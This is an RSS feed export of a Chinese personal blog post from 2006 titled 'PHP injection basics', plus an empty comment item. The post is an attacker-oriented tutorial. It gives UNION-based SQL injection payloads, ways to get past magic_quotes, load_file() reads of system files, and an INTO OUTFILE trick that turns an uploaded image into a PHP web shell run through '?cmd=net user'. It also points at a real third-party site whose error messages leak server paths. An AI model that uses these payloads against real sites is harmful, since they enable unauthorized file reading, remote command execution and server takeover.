<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
<channel>
<title><![CDATA[Y's Blog]]></title> 
<link>http://blog.sust.net.ru/index.php</link> 
<description><![CDATA[sust 陕西科技大学 科大漂亮MM该来的 Blog-网络红人的博客]]></description> 
<language>zh-cn</language> 
<copyright><![CDATA[Y's Blog]]></copyright>
<item>
<link>http://blog.sust.net.ru/read.php?</link>
<title><![CDATA[php注入基础 ]]></title> 
<author>pling &lt;admin@oneter.com&gt;</author>
<category><![CDATA[技术和经验]]></category>
<pubDate>Fri, 28 Jul 2006 21:07:41 +0000</pubDate> 
<guid>http://blog.sust.net.ru/read.php?</guid> 
<description>
<![CDATA[ 
	PHP注入不象ASP那样有NBSI之类的超强工具，其实知道他的注入原理后，完全可以实现手工注入。<br/><br/>在php.ini中有一个配置选项magic_quotes_gpc=on/off当=ON时会把提交变量中的单引号，双引号，反斜线，空白字符前面加上反斜线变成转义字符，遇到这种情况，我们可以把提交语句用ASC或0X进行编码旧可以饶过了。有几个比较关键的语句，一是UNION，通过并运算查询当前表中字段，用与将多个SELECT语句的结果联合到一个结果集中，可以用它猜字段，EG：id=1234 and 1=2 union select 1,2,3,4...。猜出后会在相应地方出现数字对应。load_file()用来返回文件里的内容，注意的是要写明全文件路径和名称，当然会出现文件读不出来的问题，原因很多主要是权限问题，还有文件是否可读，MYSQL用户是否具有FILE权限，还有就是些代码处理问题了用相关函数或者查原代码就可以了。EG:load_file('c:/boot.ini')，可以嵌入到UNION查询中，在相应的数字的位置上就会显示出你要得系统文件了。into outfile用来把表中内容写入文件，假设我们可以上传图片，上传后路径为：/upload/111.jpg,图片中的内容是一个很简单的系统变量<?phpsystem($cmd)?>，提交语句：id=1234 and 1=2 union select 1,2,load_file('d:/xxx/xxxx/down/upload/111.jpg'),4 into file'd:/xxx/xxxx/down/muma.php'（以前看过这个列子，记得最清楚了，嘿嘿~~）,接着我们去看_blank><a href="http://www.xxx.com/down/muma.php?cmd=net" target="_blank">http://www.xxx.com/down/muma.php?cmd=net</a> user,就可以执行命令了，注意的是MYSQL5。0以下不支持AND连接两个表查询。 得到WEBSHELL还可以找一个可写的目录插入数据然后再导出到相应文件（如下），...很多方法。<br/>CREATE TABLE file (cmd text NOT NULL) <br/>INSERT INTO file (cmd) VALUES () <br/>select cmd from file into outfile filepath <br/>DROP TABLE IF EXISTS file <br/>有些站测试提交单引号就可以暴露很多信息是因为在php.ini中选项display_errors=on，会返回错误信息，象提交：_blank><a href="http://www.shyau.com.tw/article.php?sid=140&#39;" target="_blank">http://www.shyau.com.tw/article.php?sid=140&#39;</a>，结果呢？：Warning: Supplied argument is not a valid MySQL result resource in d:&#92;foxserv&#92;www&#92;shyau&#92;includes&#92;sql_layer.php on line 230 <br/>Warning: Supplied argument is not a valid MySQL result resource in d:&#92;foxserv&#92;www&#92;shyau&#92;includes&#92;sql_layer.php on line 230路径都出来了，晕。<br/>有时当提交单引号不能返回错误信息时，可以增加查询负值或改变查询类型，例如：id=1234我们可以提交：id=11111....（边界检查不彻底）或id=ssss（第一次见还是在X挡案看无敌的文章，原来这也可以啊）也有可能暴出敏感信息。<br/>mysql也有内置变量，version()返回当前数据库版本信息,database()返回当前数据库名,user(),system_user(),session_user()返回MYSQL用户名，可以帮助我们获得更多信息。这些都是很基础的东西，更多的技术还要大家自己发现，文章含盖并不全，有些资料细节往大家查询PHP中文手册。~~ <br/>Tags - <a href="tag.php?tag=php%E6%B3%A8%E5%B0%84" rel="tag">php注射</a>
]]>
</description>
</item><item>
<link>http://blog.sust.net.ru/read.php?&amp;guid=0#topreply</link>
<title><![CDATA[[评论] php注入基础 ]]></title> 
<author> &lt;user@domain.com&gt;</author>
<category><![CDATA[评论]]></category>
<pubDate>Thu, 01 Jan 1970 00:00:00 +0000</pubDate> 
<guid>http://blog.sust.net.ru/read.php?&amp;guid=0#topreply</guid> 
<description>
<![CDATA[ 
	
]]>
</description>
</item>
</channel>
</rss>